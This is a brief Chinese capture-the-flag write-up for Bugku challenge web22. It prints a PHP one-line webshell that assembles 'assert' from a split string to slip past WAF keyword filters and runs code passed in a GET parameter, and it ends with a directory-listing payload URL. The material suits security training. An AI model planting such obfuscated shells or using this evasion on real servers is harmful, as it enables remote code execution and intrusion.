bugku web22 过狗一句话

题目：过狗一句话

$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s'])

• explode(separator,string) separator规定在哪里分割字符串。string要分割的字符串。
• assert()用于调试，跟eval()差不多,assert函数有任意代码执行的漏洞

构造url?s=print_r(scandir(’./’))